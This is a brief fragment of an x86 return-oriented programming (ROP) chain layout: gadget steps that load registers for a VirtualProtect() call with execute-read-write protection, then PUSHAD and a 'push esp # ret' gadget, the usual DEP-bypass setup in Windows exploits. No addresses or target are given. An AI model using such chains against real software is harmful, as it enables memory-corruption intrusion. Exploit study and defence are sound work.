* POP EBP # RETN skip 4 bytes POP EAX # RETN 0x00000201 NEG EAX # RETN POP EBX # RETN INC EBX # FPATAN # RETN ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN POP EDX # RETN 0x00000040 NEG EDX # RETN POP ECX # RETN Writable location POP EDI # RETN RETN (ROP NOP) POP ESI # RETN JMP [EAX] POP EAX # RETN ptr to VirtualProtect() PUSHAD # ADD AL,0EF # RETN ptr to 'push esp # ret